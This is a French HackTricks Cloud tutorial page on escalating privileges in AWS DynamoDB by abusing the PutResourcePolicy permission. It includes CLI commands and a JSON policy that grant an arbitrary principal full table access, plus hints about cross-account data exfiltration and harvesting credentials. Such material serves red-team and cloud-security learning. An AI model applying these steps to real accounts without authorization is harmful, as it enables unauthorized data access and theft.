AWS - DynamoDB Privesc

Reading time: 4 minutes

tip

Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE) Apprenez et pratiquez le hacking Azure : HackTricks Training Azure Red Team Expert (AzRTE)

Soutenir HackTricks

Vérifiez les plans d'abonnement !
Rejoignez le 💬 groupe Discord ou le groupe telegram ou suivez-nous sur Twitter 🐦 @hacktricks_live.
Partagez des astuces de hacking en soumettant des PR au HackTricks et HackTricks Cloud dépôts github.

dynamodb

Pour plus d'informations sur dynamodb, consultez :

AWS - DynamoDB Enum

`dynamodb:PutResourcePolicy`, et éventuellement `dynamodb:GetResourcePolicy`

Depuis mars 2024, AWS propose des politiques basées sur les ressources pour DynamoDB (AWS News).

Donc, si vous possédez dynamodb:PutResourcePolicy sur une table, vous pouvez simplement vous accorder (ou accorder à tout autre principal) un accès complet à la table.

Attribuer dynamodb:PutResourcePolicy à un principal au hasard arrive souvent par accident, si les admins pensent que donner dynamodb:Put* permettrait seulement au principal d'insérer des items dans la base - ou s'ils ont accordé ce jeu de permissions avant mars 2024...

Idéalement, vous avez aussi dynamodb:GetResourcePolicy, afin de ne pas écraser d'autres permissions potentiellement vitales, mais d'injecter uniquement les permissions additionnelles dont vous avez besoin :

bash

# get the current resource based policy (if it exists) and save it to a file
aws dynamodb get-resource-policy \
--resource-arn <table_arn> \
--query 'Policy' \
--output text > policy.json

Si vous ne pouvez pas récupérer la stratégie actuelle, utilisez simplement celle-ci qui accorde un accès complet à la table à votre principal :

json

{
"Version": "2012-10-17",
"Statement": [
{
"Sid": "FullAccessToDynamoDBTable",
"Effect": "Allow",
"Principal": {
"AWS": "arn:aws:iam::<ACCOUNT_ID>:<USER_OR_ROLE>/<USERNAME_OR_ROLENAME>"
},
"Action": [
"dynamodb:*"
],
"Resource": [
"arn:aws:dynamodb:<REGION>:<AWS_ACCOUNT_ID>:table/<TABLENAME>"
]
}
]
}

Si vous devez le personnaliser, voici une liste de toutes les actions possibles de DynamoDB : AWS Documentation. Et voici une liste de toutes les actions qui peuvent être autorisées via une resource based policy ET lesquelles de celles-ci peuvent être utilisées cross-account (pensez à la data exfiltration !) : AWS Documentation

Maintenant, avec le document de politique policy.json prêt, mettez la resource policy :

bash

# put the new policy using the prepared policy file
# dynamodb does weirdly not allow a direct file upload
aws dynamodb put-resource-policy \
--resource-arn <table_arn> \
--policy "$(cat policy.json)"

Vous devriez maintenant disposer des permissions nécessaires.

Post Exploitation

À ma connaissance, il n'existe aucun autre moyen direct d'escalade de privilèges dans AWS simplement en disposant de certaines permissions AWS dynamodb. Vous pouvez lire des informations sensibles depuis les tables (qui pourraient contenir AWS credentials) et écrire des informations dans les tables (ce qui pourrait déclencher d'autres vulnérabilités, comme lambda code injections...) mais toutes ces options sont déjà considérées dans la DynamoDB Post Exploitation page:

AWS - DynamoDB Post Exploitation

TODO: Lire des données en abusant des data Streams

tip